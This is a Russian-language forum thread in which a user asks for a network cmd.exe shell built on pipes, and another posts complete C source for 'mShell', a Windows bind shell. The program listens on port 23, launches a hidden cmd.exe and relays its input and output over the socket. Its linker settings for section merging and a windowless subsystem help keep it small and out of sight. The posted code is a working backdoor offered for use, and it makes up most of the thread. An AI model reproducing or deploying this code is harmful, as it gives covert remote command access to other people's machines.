Захват cmd.exe и отправка по сети

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Sc0rpi0n, 3 Oct 2010.

  1. Sc0rpi0n

    Sc0rpi0n Banned

    Joined:
    23 Feb 2010
    Messages:
    75
    Likes Received:
    22
    Reputations:
    16
    Здравствуйте, видел ли ктонибудь готовую реализацию cmd шелла работаюший обязательно через пайпы.
    я уже в течении полугода бьюсь и ни как не могу найти и написать данную реализацию. Хоть на СИ++, хоть на дельфе без разницы.


    вот я пытался написать, точнее немного передел существуюшую, которая юзает клаву, но я сделал её по сети.
     
    #1 Sc0rpi0n, 3 Oct 2010
    Last edited: 3 Oct 2010
  2. Sc0rpi0n

    Sc0rpi0n Banned

    Joined:
    23 Feb 2010
    Messages:
    75
    Likes Received:
    22
    Reputations:
    16
    По ряду причин, мне обяз. нужно именно через пайпы.

    п.с. офигеваю что в инете нет готовой, нормальной реализации
     
  3. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Delphi World aka 5005 статей по Delphi
    Статья: Запуск программ с передачей консольного ввода и чтением вывода
     
  4. Sc0rpi0n

    Sc0rpi0n Banned

    Joined:
    23 Feb 2010
    Messages:
    75
    Likes Received:
    22
    Reputations:
    16
    смотрел, не в этом трабла, у меня почти получилось. см. исходник в начале.

    у меня не вовсем получилось реализовать пересылку по сети.

    да и кстати, " Запуск программ с передачей консольного ввода " - там куча багов в исходном тексте.

    http://www.delphisources.ru/pages/faq/base/console_in_out.html
     
    #4 Sc0rpi0n, 3 Oct 2010
    Last edited: 3 Oct 2010
  5. Sc0rpi0n

    Sc0rpi0n Banned

    Joined:
    23 Feb 2010
    Messages:
    75
    Likes Received:
    22
    Reputations:
    16
    telnet.exe - хитро работает. он при нажати на клавишу, сразже отправляет. т.е. по символьно, а не по целой строке.
     
  6. greki_hoy

    greki_hoy Member

    Joined:
    4 Mar 2010
    Messages:
    326
    Likes Received:
    57
    Reputations:
    41
    валяется такой исходник рабочий
    биндит шелл запускает консоль и ввод вывод редиректит между клиентом и консолью через пайпы
    Code:
    //mShell by D-oNe, All WIN*, based on code by Delikon
    
    #pragma optimize("gsy",on)
    #pragma comment(linker,"/RELEASE")
    #pragma comment(linker,"/ENTRY:EntryPoint")
    #pragma comment(linker,"/MERGE:.rdata=.data")
    #pragma comment(linker,"/MERGE:.text=.data")
    #pragma comment(linker,"/MERGE:.reloc=.data")
    #pragma comment(linker,"/SECTION:.text,EWR /IGNORE:4078")
    #pragma comment(linker,"/FILEALIGN:0x200")
    #pragma comment(linker,"/subsystem:windows")
    
    #include <windows.h>
    #include <winsock.h>
    
    const int port = 23;
    
    void Shell(int port)
    {
        WSADATA wsadata;
        SOCKET shellsock, sendsock;
        SOCKADDR_IN sin;
        HANDLE hPipeRead1, hPipeWrite1, hPipeRead2, hPipeWrite2;
        char szBuffer[4096], szCmdPath[MAX_PATH];
        int i, count = 0;
        DWORD lpNumberOfBytesRead;
        SECURITY_ATTRIBUTES secu =
        {
            (DWORD)sizeof(SECURITY_ATTRIBUTES), NULL, TRUE
        };
        STARTUPINFO sInfo;
        PROCESS_INFORMATION pInfo;
            WSAStartup(MAKEWORD(2,2), &wsadata);
            sin.sin_family = AF_INET;
            sin.sin_addr.s_addr = 0;
            sin.sin_port = htons(port);
            i = sizeof (sin);
            shellsock = socket (AF_INET, SOCK_STREAM, 0);
            bind(shellsock, (SOCKADDR *)&sin, sizeof(sin));
            listen(shellsock, 0);
            sendsock = accept(shellsock,(SOCKADDR *)&sin, &i);
        if (sendsock == INVALID_SOCKET) ExitProcess(0);
            CreatePipe(&hPipeRead1, &hPipeWrite1, &secu, 0);
            CreatePipe(&hPipeRead2, &hPipeWrite2, &secu, 0);
            GetEnvironmentVariable("ComSpec", szCmdPath, sizeof(szCmdPath));
            memset(&sInfo, 0, sizeof(sInfo));
            memset(&pInfo, 0, sizeof(pInfo));
            sInfo.cb=sizeof (STARTUPINFO);
            sInfo.dwFlags=STARTF_USESHOWWINDOW+STARTF_USESTDHA  NDLES;
            sInfo.wShowWindow=SW_HIDE;
            sInfo.hStdInput = hPipeRead2;
            sInfo.hStdOutput = hPipeWrite1;
            sInfo.hStdError = hPipeWrite1;
            CreateProcess(NULL, szCmdPath, &secu, &secu, TRUE, 0, NULL, NULL, &sInfo, &pInfo);
        while (sendsock != SOCKET_ERROR)
        {
                Sleep (100);
                memset(szBuffer, 0, sizeof(szBuffer));
                PeekNamedPipe(hPipeRead1, NULL, NULL, NULL, &lpNumberOfBytesRead, NULL);
            while (lpNumberOfBytesRead)
            {
                    Sleep (200);
                if (!ReadFile(hPipeRead1, szBuffer, sizeof(szBuffer), &lpNumberOfBytesRead, NULL)) break;
                else send(sendsock, szBuffer, lpNumberOfBytesRead, 0);
                PeekNamedPipe(hPipeRead1, NULL, NULL, NULL, &lpNumberOfBytesRead, NULL);
            }
                Sleep (200);
                i = recv (sendsock,szBuffer,sizeof(szBuffer),0);
            if (sendsock == 0)
            {
                    count++;
                if (count > 1) break;
            }
            if (!strstr(szBuffer, "exit") == 0)
            {   
                    closesocket(sendsock);
                    closesocket(shellsock);
                    TerminateProcess(pInfo.hProcess, 0);
                    ExitProcess(0);
            }
            else WriteFile(hPipeWrite2, szBuffer, i, &lpNumberOfBytesRead, 0);
        }       
            closesocket(sendsock);
            closesocket(shellsock);
            TerminateProcess(pInfo.hProcess, 0);
            ExitProcess(0);
            return;
    }
    
    void EntryPoint()
    {
            Shell(port);
    }
    
     
    1 person likes this.